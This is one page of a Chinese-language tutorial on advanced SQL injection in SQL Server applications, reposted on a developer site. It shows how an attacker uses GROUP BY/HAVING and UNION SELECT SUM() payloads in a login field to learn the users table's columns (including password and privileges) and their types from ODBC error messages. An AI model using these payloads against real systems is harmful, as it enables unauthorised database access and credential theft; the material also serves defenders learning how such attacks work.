WEB开发网
开发学院数据库MSSQL Server Sql server应用程序中的高级SQL注入 阅读

Sql server应用程序中的高级SQL注入

 2007-05-18 09:39:43 来源:WEB开发网   
核心提示: 出现的错误如下:Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.usern

出现的错误如下:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/process_login.asp, line 35

最终攻击者得到了username字段后:

‘ group by users.id,users.username,users.password,users.privs having 1=1—

这句话并不产生错误,相当于:

select * from users where username=''

因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。

能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

Username:' union select sum(username) from users—

这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  /process_login.asp, line 35

这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。

  Username:' union select sum(id) from users—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
  /process_login.asp, line 35

上一页  1 2 3 4 5 6 7 8 9 10  下一页

Tags:SQL Server 应用程序

编辑录入:coldstar [复制链接] [打 印]
赞助商链接